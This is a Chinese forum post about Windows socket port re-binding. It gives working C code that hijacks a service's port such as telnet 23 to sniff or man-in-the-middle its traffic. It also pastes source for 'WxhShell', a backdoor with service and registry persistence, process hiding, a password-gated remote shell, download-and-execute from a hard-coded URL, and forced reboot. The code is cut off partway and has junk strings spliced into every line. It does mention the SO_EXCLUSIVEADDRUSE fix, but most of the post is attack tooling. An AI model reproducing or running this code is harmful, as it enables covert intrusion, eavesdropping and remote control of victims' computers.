社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12057阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /AyxkXq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O|)b$H_  
Zd%wX<hU"  
  saddr.sin_family = AF_INET; eB=&(ZT  
Gi#-TP\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %vm_v.Q4)  
X,#~[%h$-=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ZO%iyc%  
Hb::;[bm:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 iRlpNsN  
1_A_)l11  
  这意味着什么?意味着可以进行如下的攻击: |$e'y x6j  
,G5[?H;ZN  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mw}Bl; - O  
{:#nrD"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >iRkhA=Vg  
,|}mo+rb-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 V=% ;5/  
__FEdO  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >KvK'Mus/  
^Y+Lf]zz*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 GN9kCyPK  
kP^A~ZO.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 XPD1HN!,LT  
_H@ATut  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 g>;@(:e^/  
;^0rY)&  
  #include 4#7*B yvf  
  #include QIlZZ  
  #include "}`)s_rt  
  #include    S4[ #[w`=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _ZFEo< `'  
  int main()  o kA<  
  { %D8.uGsh  
  WORD wVersionRequested; I[v`)T'_{  
  DWORD ret; a!-J=\>9  
  WSADATA wsaData; 1^E5VG1[  
  BOOL val; ed}#S~4q  
  SOCKADDR_IN saddr; Z b$]9(RS  
  SOCKADDR_IN scaddr; Qubu;[0+a  
  int err; pr7lm5  
  SOCKET s; #v xq|$e  
  SOCKET sc; 7pciB}$2  
  int caddsize; qt*+ D  
  HANDLE mt; X!/Sk1  
  DWORD tid;   X?wZ7*'1  
  wVersionRequested = MAKEWORD( 2, 2 ); Bf;_~1+vLG  
  err = WSAStartup( wVersionRequested, &wsaData ); `OWHf?t:  
  if ( err != 0 ) { u4w!SD  
  printf("error!WSAStartup failed!\n"); z\A ),;  
  return -1; {GLGDEb  
  } jBOl:l,+  
  saddr.sin_family = AF_INET; n=C"pH#  
   m,!SD Cq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  fFqYRK  
Iia.`"S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); A;RV~!xx  
  saddr.sin_port = htons(23); ^bfZd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }aR}ZzK/v  
  {  0.0-rd>  
  printf("error!socket failed!\n"); VZI!rFac  
  return -1; 3B 'j?+A  
  } )X[2~E  
  val = TRUE; ^Y%_{   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 u;-fG9xs  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9jqsEd-SW  
  { 3N|z^6`#  
  printf("error!setsockopt failed!\n"); ?z&%VU"  
  return -1; 7 [1|(6$  
  } HOFxOBV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; kDWEgnXK,v  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7#%Pry  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 LlO8]b!P-^  
=urGs`\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4}v|^_x-i  
  { bIyg7X)/  
  ret=GetLastError(); \rzMgR$/rj  
  printf("error!bind failed!\n"); uHSnZ"#  
  return -1; 6`@J=Q?  
  } #o4tG  
  listen(s,2); Pap6JR{7  
  while(1) 2a48(~<_  
  { U|%}B(  
  caddsize = sizeof(scaddr); Z 9+fTT  
  //接受连接请求 H4AT>}ri  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -|uoxj>  
  if(sc!=INVALID_SOCKET) `>)Ge](oN  
  { R=LiB+p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n*=#jL  
  if(mt==NULL) ^zQI_ydG  
  { 60u_,@rV  
  printf("Thread Creat Failed!\n"); 2*V[kmD/3  
  break; #xw*;hW<  
  } !h7.xl OpN  
  } 5HV+7zU5  
  CloseHandle(mt); ,_RNZ sa;&  
  } %csrNf  
  closesocket(s); Dz6xx?  
  WSACleanup(); e@ZM&iR  
  return 0; m\0_1 #(  
  }   /~{`!30  
  DWORD WINAPI ClientThread(LPVOID lpParam) Rt+-ud{O  
  { > ]^'h  
  SOCKET ss = (SOCKET)lpParam; uI/ wR!  
  SOCKET sc; G#GZt\)F  
  unsigned char buf[4096]; %NxQb'  
  SOCKADDR_IN saddr; SI+Uq(k  
  long num; KRC"3Qt  
  DWORD val; oIj=ba(n1  
  DWORD ret; 3^+D,)#D^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U*$xR<8v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @i;)`k5b  
  saddr.sin_family = AF_INET; ?e<2'\5v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }ARA K^%  
  saddr.sin_port = htons(23); K8_v5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >9dD7FH  
  { ! I0xq"  
  printf("error!socket failed!\n"); 7}UG&t{  
  return -1; 6_bL<:xtY  
  } =zcvR {Dkp  
  val = 100; CC`_e^~y=F  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \toU zTT  
  { $3g{9)}  
  ret = GetLastError(); lbBWOx/|  
  return -1; }Ze*/ p-  
  } LD}~]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -9i7Ja  
  { _b~{/[s  
  ret = GetLastError(); aLGq<6Ja  
  return -1; Lr$M k#'B  
  } {4G/HW28  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) K%? g6j  
  { j fY7ich  
  printf("error!socket connect failed!\n"); Ey|_e3Lf[  
  closesocket(sc); r@{TN6U  
  closesocket(ss); !ka* rd  
  return -1; !B}9gT  
  } 7t:RQ`$:  
  while(1) Ww2@!ng  
  { _xp8*2~-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Mz(Vf1pi%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?1SsF>|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 rm,`M  
  num = recv(ss,buf,4096,0); Z,.Hz\y1D  
  if(num>0) WR"D7{>tw  
  send(sc,buf,num,0); YOD.y!.zq7  
  else if(num==0) TQF+aP8[L  
  break; GBbnR:hM  
  num = recv(sc,buf,4096,0); #4msBax4  
  if(num>0) x?+w8jSR  
  send(ss,buf,num,0); :x*)o+  
  else if(num==0) T`ibulp  
  break; "0P`=n  
  } t~->&Ja   
  closesocket(ss); ^es]jng`  
  closesocket(sc); W-=6:y#A  
  return 0 ; tNi>TkC}`  
  } `x9Eo4(/  
!wfW0?eu  
9Ux(  
========================================================== MYWkEv7  
=1l6( pJ  
下边附上一个代码,,WXhSHELL rG-T Dm  
.:r~?$(  
========================================================== ?dgyi4J?=`  
Q!e560@  
#include "stdafx.h"  6st  
`r`8N6NQ&]  
#include <stdio.h> :}lqu24K  
#include <string.h> X g6ezlW  
#include <windows.h> FPDTw8" B;  
#include <winsock2.h> CI'RuR3y]Z  
#include <winsvc.h> iAwEnQ3h  
#include <urlmon.h> ^a4z*#IOr  
x;n3 Zr;(  
#pragma comment (lib, "Ws2_32.lib") D(AH3`*|#  
#pragma comment (lib, "urlmon.lib") 6}"c4 ^k6  
dI{DiPho  
#define MAX_USER   100 // 最大客户端连接数 ~|V^IJZ22  
#define BUF_SOCK   200 // sock buffer faDSyBLo  
#define KEY_BUFF   255 // 输入 buffer L (Y1ey9x  
ai{>rO3 }I  
#define REBOOT     0   // 重启 l#'V SFm&  
#define SHUTDOWN   1   // 关机 to'7o8Z  
+3)r szb72  
#define DEF_PORT   5000 // 监听端口 :aesG7=O  
E#B-JLMGl  
#define REG_LEN     16   // 注册表键长度 ?l0eU@rwQ  
#define SVC_LEN     80   // NT服务名长度 E7:xPNU  
=:- fK-d  
// 从dll定义API  )(G9[DG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K3yQ0k |  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !GqFX+!Ju  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,@`?I6nKy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ttluh *  
8D='N`cN+  
// wxhshell配置信息 Jj"{C]  
struct WSCFG { {>f"&I<xw  
  int ws_port;         // 监听端口 1@F-t94I  
  char ws_passstr[REG_LEN]; // 口令 ju"z  
  int ws_autoins;       // 安装标记, 1=yes 0=no HL38iXQ( 3  
  char ws_regname[REG_LEN]; // 注册表键名 h: ' |)O  
  char ws_svcname[REG_LEN]; // 服务名 #Iw(+%D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $ Habhw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jx: IK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q< JCgO-F<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $TI^8 3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i+Z)`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O$,F ga  
)U@9dV7u  
}; 95l)s],  
u\]EG{w(  
// default Wxhshell configuration ! _S#8"  
struct WSCFG wscfg={DEF_PORT, ~||0lj.D  
    "xuhuanlingzhe", 6hxZ5&;(*  
    1, kA:mB;:  
    "Wxhshell", v/+ <YU  
    "Wxhshell", Re$h6sh  
            "WxhShell Service", G;Li!H  
    "Wrsky Windows CmdShell Service", Nd~B$venh  
    "Please Input Your Password: ", s2; ~FK#/  
  1, uoS:-v}/Y~  
  "http://www.wrsky.com/wxhshell.exe", G{U#9   
  "Wxhshell.exe" IiU> VLa  
    }; XB)D".\  
U\KMeaF5e-  
// 消息定义模块 M.W X&;>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T ozx0??)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (bsx|8[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |&; ^?M  
char *msg_ws_ext="\n\rExit."; QL?_FwZL  
char *msg_ws_end="\n\rQuit."; z 6:Wh  
char *msg_ws_boot="\n\rReboot..."; 0HzqU31%l@  
char *msg_ws_poff="\n\rShutdown..."; hyI7X7Hy  
char *msg_ws_down="\n\rSave to "; (8d uV  
9LDv?kYr  
char *msg_ws_err="\n\rErr!"; k9Pvh,_wp  
char *msg_ws_ok="\n\rOK!"; hbw(o  
"tJ+v*E  
char ExeFile[MAX_PATH]; I |Oco?Q"  
int nUser = 0; ;*A'2ymXUT  
HANDLE handles[MAX_USER]; #-/W?kD  
int OsIsNt; wZqYtJ  
oz) [ -  
SERVICE_STATUS       serviceStatus; "H-s_Y#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o`bch? ]  
Q Be6\oq  
// 函数声明 d>QFmsh-  
int Install(void); HBlk~eZ  
int Uninstall(void); 50,'z?-_  
int DownloadFile(char *sURL, SOCKET wsh); !nvwRQ  
int Boot(int flag); FY1iY/\Cn  
void HideProc(void); E }L Hp  
int GetOsVer(void); `|dyT6V0I_  
int Wxhshell(SOCKET wsl); L)e" qC_-  
void TalkWithClient(void *cs); HQqFrR  
int CmdShell(SOCKET sock); U0x A~5B  
int StartFromService(void); YvR bM  
int StartWxhshell(LPSTR lpCmdLine); r/YJ,2!  
ij" ~]I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); acd[rjeT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A;oHji#*  
ci0A!wWD  
// 数据结构和表定义 ['d9sEv.  
SERVICE_TABLE_ENTRY DispatchTable[] = {v ?Q9  
{ 'p@f5[t  
{wscfg.ws_svcname, NTServiceMain}, g`Z=Y7jLH  
{NULL, NULL} c_J9CKqc  
}; u`pTFy  
VY?9|};f  
// 自我安装 c+Q'4E0 |  
int Install(void) ++cS^ Lo  
{ HW@wia  
  char svExeFile[MAX_PATH]; kf, &t   
  HKEY key; iq#{*:1  
  strcpy(svExeFile,ExeFile); >jm(2P(R   
afm\Iv[*  
// 如果是win9x系统,修改注册表设为自启动 Q6h+.  
if(!OsIsNt) { PL/g| ;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bi<<z-q`wJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wlS/(:02  
  RegCloseKey(key); k<gH*=uXY'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J'44j;5&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 56v G R(  
  RegCloseKey(key); OVg&?fiP  
  return 0; ;%tFi  
    } d0El2Ct8  
  } 7'0Vb !(  
} kiTC)S=])  
else { Ji4p6$ .j-  
>F/^y O  
// 如果是NT以上系统,安装为系统服务 YQMWhC,8hy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^Q/*on;A,/  
if (schSCManager!=0) [+ud7l  
{ $8tk|uh  
  SC_HANDLE schService = CreateService (s};MdXIz  
  ( ,AP&N'  
  schSCManager, qZ1'uln=C-  
  wscfg.ws_svcname, )6"}M;v  
  wscfg.ws_svcdisp, K-RmB4WI  
  SERVICE_ALL_ACCESS, Et=Pr+Q{c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %OQdUH4x  
  SERVICE_AUTO_START, X9x`i  
  SERVICE_ERROR_NORMAL, W06aj ~7Z  
  svExeFile, ?cU,%<r  
  NULL, |]\zlH"w  
  NULL, fY<#KM6X  
  NULL, AwM`[`ReE  
  NULL, `7 "="T~ *  
  NULL 5pQpzn =  
  ); `fv5U%  
  if (schService!=0) fzsy<Vl",  
  { 9"~ FKMN  
  CloseServiceHandle(schService); Z #[?~P  
  CloseServiceHandle(schSCManager); a6{Zp{"Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J8ni}\f  
  strcat(svExeFile,wscfg.ws_svcname); 4cjfn'x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fdl.3~.C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c(Q@5@1y:  
  RegCloseKey(key); dCC*|b8h  
  return 0; I}C2;[aB  
    } v$ ti=uk$  
  } m2]N%Y  
  CloseServiceHandle(schSCManager); o[Iu9.zJpy  
} f{BF%;  
} +%dXB&9x|Z  
E7Lqa S  
return 1; gV_v5sk  
} q*I*B1p[m  
UU=]lWib  
// 自我卸载 0eY!Z._^  
int Uninstall(void) L2H  
{ j.E=WLKV*  
  HKEY key; #GzALF97  
kK &w5'  
if(!OsIsNt) { ASqYA1p.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U1\7Hcs$  
  RegDeleteValue(key,wscfg.ws_regname); 4 m:h&^`N  
  RegCloseKey(key); X[BP0:`t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kR=sr/{  
  RegDeleteValue(key,wscfg.ws_regname); :So<N}&  
  RegCloseKey(key); -FZC|[is  
  return 0; fi?4!h  
  } DbGS]k<$  
} O8]e(i  
} yD+4YD  
else { C`5'5/-.  
yl[I'fX66  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ss[[V(-  
if (schSCManager!=0) ,i:?c  
{ !XPjRdq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W[2]$TwT  
  if (schService!=0) Xa[k=qFo  
  { pz%s_g'  
  if(DeleteService(schService)!=0) { Af3|l  
  CloseServiceHandle(schService); 3$?6rMl@y  
  CloseServiceHandle(schSCManager); cBxGGggB  
  return 0; O<S.fr,  
  } #&Hi0..y  
  CloseServiceHandle(schService); 2B_|"J  
  } *.W3V;K  
  CloseServiceHandle(schSCManager); -.Wcz|  
} W!{RJWe  
} D<WnPLA$g  
hGtz[u#p  
return 1; PR8nJts W5  
} Xf u0d1b  
Q-7?'\h  
// 从指定url下载文件 }c/p;<  
int DownloadFile(char *sURL, SOCKET wsh) g=Z52y`N<  
{ 25>R^2,LiE  
  HRESULT hr; * %D_\0;  
char seps[]= "/"; n`,  <g  
char *token; )vW'g3u_  
char *file; *Fy6 -CC1  
char myURL[MAX_PATH]; "Zp&7hI  
char myFILE[MAX_PATH]; z\ZnxZ@  
DY2*B"^  
strcpy(myURL,sURL); / VYT](  
  token=strtok(myURL,seps); Oe5rRQ$O  
  while(token!=NULL) eF+F"|1h  
  { 'f( CN3.!  
    file=token; X1#Ar)  
  token=strtok(NULL,seps); s~M$Wo8  
  } w;'XqpP$*|  
~?\U];l  
GetCurrentDirectory(MAX_PATH,myFILE); JL M Xkcc  
strcat(myFILE, "\\"); =gVMt  
strcat(myFILE, file); jQ{ @ol}n  
  send(wsh,myFILE,strlen(myFILE),0); 0'o[ 2,  
send(wsh,"...",3,0); <h -)zI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZJDV'mC}  
  if(hr==S_OK) q`xc h[H  
return 0; v>8.TE~2  
else ^ 4`aONydl  
return 1; 0 qS/>u*  
Wga2).j6  
} x,gk]Cf  
p:08q B|uQ  
// 系统电源模块 ?%,LZw^[  
int Boot(int flag) T5:Q_o]  
{ |Y3w6!$  
  HANDLE hToken; XvI~"}  
  TOKEN_PRIVILEGES tkp; 9pLe8D  
x Lan1V  
  if(OsIsNt) { ]0UYxv%]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $@PruY3[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;\K]~  
    tkp.PrivilegeCount = 1; TiD#t+g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~4 fE`-O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mG[jR*JW  
if(flag==REBOOT) { 6 byeO&d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bdL= ?KS  
  return 0; VhO+nvd*W  
} ^yW['H6V  
else { S~/2Bw!2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :E9pdx+  
  return 0; /EjXyrn2  
} coXg]bUKo  
  } ?t 'V5$k\  
  else { \c2x udU  
if(flag==REBOOT) { %9cT#9!7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wUaWF$~y  
  return 0; wO]e%BTO  
} 3t-STk?  
else { &~*](Ma  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (WHg B0{  
  return 0; OlT8pG5Oa  
} k'8tcXs  
} F\eQV<  
/9br&s$B  
return 1; r^m&<)Ca  
} LK}g<!o(  
6Z|h>H5 a  
// win9x进程隐藏模块 3dN`Q:1R9  
void HideProc(void) p7QZn.,=u  
{ /?;'y,(Q  
(_ G>dP_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  E0!d c  
  if ( hKernel != NULL ) )K[\j?   
  { c^I^jg2v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Bz/ba *  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7(}'jZ  
    FreeLibrary(hKernel); r;{$x  
  } rt^~ I \V  
BL&AZv/T  
return; N**)8(  
} `df!-\#  
3CD#OCz7&  
// 获取操作系统版本 yeiIP  
int GetOsVer(void) Erw1y,mF  
{ X):7#x@uy  
  OSVERSIONINFO winfo; T +vo)9w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wG49|!l6T  
  GetVersionEx(&winfo); X,G<D}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NK qI x  
  return 1; f-18nF7{  
  else H=@KlSC ^  
  return 0; 3Y Mqp~4  
} sT;wHtU  
4'z)J1M  
// 客户端句柄模块 V8/4:Va7 s  
int Wxhshell(SOCKET wsl) KO "/  
{ R=~%kt_n  
  SOCKET wsh; vCP[7KhGj  
  struct sockaddr_in client; JOuyEPy  
  DWORD myID; opH!sa@U  
*;@wPT  
  while(nUser<MAX_USER) 1 !_p  
{ 1r=cCM  
  int nSize=sizeof(client); A,F~*LXm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q0(6n8i  
  if(wsh==INVALID_SOCKET) return 1; Ry >y  
Po58@g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yx Om=V  
if(handles[nUser]==0) 8xENzTR  
  closesocket(wsh); ^2- <XD)  
else Oa/zE H  
  nUser++; P<IDb%W  
  } Bf*>q*%B{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lWYp  
F q~uuQ  
  return 0; v \i"-KH  
} OTF/Pu$  
l_}d Q&R  
// 关闭 socket |RL#BKC`  
void CloseIt(SOCKET wsh) t.8r~2(?  
{ V22z-$cb  
closesocket(wsh); qHZDo[  
nUser--; s|WwB T  
ExitThread(0); P] *x6c^n  
} U> lf-iI2B  
e@vtJaSu  
// 客户端请求句柄 ]mMJ6n  
void TalkWithClient(void *cs) 42]7N3:'  
{ #_.J kY  
|'z8>1  
  SOCKET wsh=(SOCKET)cs; E[t0b5h  
  char pwd[SVC_LEN]; d1/WUKmbZ  
  char cmd[KEY_BUFF]; by<@\n2B:U  
char chr[1]; ir<e^a  
int i,j; "`ftcJUd  
lQ?jdi  
  while (nUser < MAX_USER) { Wu 0:X*>}p  
_Gq6xv\b1  
if(wscfg.ws_passstr) { b7>'ARdbzX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7(1`,Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %_W4\  
  //ZeroMemory(pwd,KEY_BUFF); yD~,+}0)  
      i=0; -8^qtB  
  while(i<SVC_LEN) { <-k!  
C7S\4rDJ  
  // 设置超时 ASHU0v  
  fd_set FdRead; '?Dxe B  
  struct timeval TimeOut; 3tZIL  
  FD_ZERO(&FdRead); CFh9@Nx  
  FD_SET(wsh,&FdRead); jh oA6I  
  TimeOut.tv_sec=8; fz^j3'!\  
  TimeOut.tv_usec=0; $Wj= V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }T4|Kyu?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); / :F^*]  
M/6Z,oOU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6 ]x?2P%  
  pwd=chr[0]; .yy-jf/  
  if(chr[0]==0xd || chr[0]==0xa) { ?C[?dg{n  
  pwd=0;  E4eX fu  
  break; 14 & KE3`  
  } ^i%S}VK  
  i++; (|BY<Ac3  
    } Ip'tB4Mq  
]i#p2?BR  
  // 如果是非法用户,关闭 socket h&i*=&<HP6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yIL=jzm`7  
} cuN]}=D  
\I!mzo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JVu j u$k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nmU1xv_  
'|4+< #  
while(1) { {[2o  
WrGA7&!+  
  ZeroMemory(cmd,KEY_BUFF); Qel)%|dOn  
i"G'#n~e  
      // 自动支持客户端 telnet标准   ?z1v_Jh  
  j=0; Oin9lg-jR  
  while(j<KEY_BUFF) { (j'\h/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r""rJzFz'  
  cmd[j]=chr[0]; !uGfS' Vl  
  if(chr[0]==0xa || chr[0]==0xd) { Q7uJ9Y{X  
  cmd[j]=0; w&?XsO@0W  
  break; nW)+-Wxq  
  } /i"hViCrlG  
  j++; &q>8D'  
    } 6=;:[  
$/M-@3wro  
  // 下载文件 Z i6s0Uck  
  if(strstr(cmd,"http://")) { V8/d27\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fLe~X!#HF  
  if(DownloadFile(cmd,wsh)) Z oXz@/T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n>}Y@{<]/  
  else `r}_92Tt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fc+-/!v  
  } <;Hb7p3N  
  else { zhw*Bed<  
jUm-!SK}q  
    switch(cmd[0]) { A5Hx $.Z  
  6nk }k]Ji  
  // 帮助 RU ~na/3  
  case '?': { #tR:W?!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K}CgFBk  
    break; ? uYO]!VC  
  } ;NA5G:eQ  
  // 安装 `9r{z;UQ  
  case 'i': { )5b_>Uy  
    if(Install()) 6RbDc *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qbv@}[f  
    else =c@hE'{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \< .BN;t{  
    break; y[XD=j  
    } ;3/}"yG<p  
  // 卸载 ^i8,9T'=  
  case 'r': { q8$t4_pF  
    if(Uninstall())  NAD^10  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~5HT _B U=  
    else y8$3kXh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |1%% c %  
    break; t+KW=eW  
    } %!\=$s}g  
  // 显示 wxhshell 所在路径 5b:1+5iF-  
  case 'p': { ?V2P]|  
    char svExeFile[MAX_PATH]; 9&* 7+!  
    strcpy(svExeFile,"\n\r"); L"'=[O~  
      strcat(svExeFile,ExeFile); -4x! #|]  
        send(wsh,svExeFile,strlen(svExeFile),0); &`qYe)1Eo  
    break; TAUl{??,  
    } 4+hNP'e  
  // 重启 5 &8BO1V.  
  case 'b': { 9Vm aB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L~5f*LE$1  
    if(Boot(REBOOT)) 3g;Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d7kE}{,  
    else { / <(|4e  
